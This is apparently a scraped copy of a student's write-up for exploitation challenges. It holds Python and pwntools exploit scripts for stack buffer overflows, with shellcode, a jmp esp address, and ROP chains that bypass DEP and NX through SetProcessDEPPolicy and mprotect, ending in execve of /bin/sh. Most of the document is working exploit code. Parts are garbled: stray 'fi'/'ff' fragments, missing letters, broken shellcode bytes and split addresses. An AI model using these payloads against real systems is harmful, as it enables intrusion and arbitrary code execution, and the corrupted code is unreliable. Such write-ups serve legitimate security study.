You are on page 1of 4

Challenge 1(15 points)

Exploit explanation:
After sent a junk input I discovered that I’m able to overwrite the EIP with 16 bytes, then I used
mona to nd the instruction jmp esp

!mona jmp -r ESP

# 0x 7C 86 46 7B
jumpInstruction = "\x7b\x46\x86\x7c"
shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7")

payload = "A" * 16 + jumpInstruction + shellcode


le = open("text_to_read.txt","w")
le.write(payload)
le.close()
fi
fi
fi
fi

Challenge 2 (15 points)


Because the DEP is enable I used mona to generate a ropchain

!mona rop -m *.dll -cp nonull

(From the ropchain generated from mona pick the one with the SetProcessDEPPolicy)

# 0x 7C 86 46 7B

jumpInstruction = "\x7b\x46\x86\x7c"

def create_rop_chain():

mona code ....

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

jumpInstruction = "\x7b\x46\x86\x7c"

shellcode = ("\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"

"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"

"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"

"\x57\x78\x01\xc2\x8b\x7a\x20\x01"

"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"

"\x45\x81\x3e\x43\x72\x65\x61\x75"

"\xf2\x81\x7e\x08\x6f\x63\x65\x73"

"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"

"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"

"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"

"\xb1\x \x53\xe2\xfd\x68\x63\x61"

"\x6c\x63\x89\xe2\x52\x52\x53\x53"

"\x53\x53\x53\x53\x52\x53\x \xd7")

payload = "A" * 16 + rop_chain + "A" * 16 + jumpInstruction + shellcode

le = open("text_to_read.txt","w")

le.write(payload)

le.close()


fi
fi
fi
ff
ff
Challenge 4
After sent a junk input I discovered that I’m able to overwrite the RIP with 280 (272 +8) btytes
because the nx is enabled I used the the Ropgadget tool to generate a ropchain.

• ROPgadget --binary challenge4_5 — ropchain

from pwn import *

p = .... code generate from the ropgadget

#you need to convert p into a string

binary = process("./challenge4_5")

payload = "A" * 280 + p

binary.sendline(payload)

binary.interactive()

Challange 5
To bypass the NX I use mprotect() tutorial here (https://syrion.me/blog/elfx64-bypass-nx-with-
mprotect/)

Find the mprotect address from gdb p protect

Then use the ropgadget to nd the instructions:

• pop rid, ret

• pop rsi, ret

• pop rdx, ret

fi
Completed exploit

from pwn import *

shellcode =
"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb
0\x3b\x0f\x05"

payload = ""

payload += "A" * 280

payload += p64(0x0000000000401766) # pop rdi ; ret

payload += p64(0x7 fe000) # stack address

payload += p64(0x000000000040770e) # pop rsi ; ret

payload += p64(0x1000) # size



payload += p64(0x0000000000444bb5) # pop rdx ; ret

payload += p64(0x7) #mode

payload += p64(0x445970) #mprotect

payload += p64(0x7 fe548) #shell address

payload += shellcode

p = process("./challenge4_5")

p.sendline(payload)

p.interactive()


ff
ff
ff
ff
ff
ff

You might also like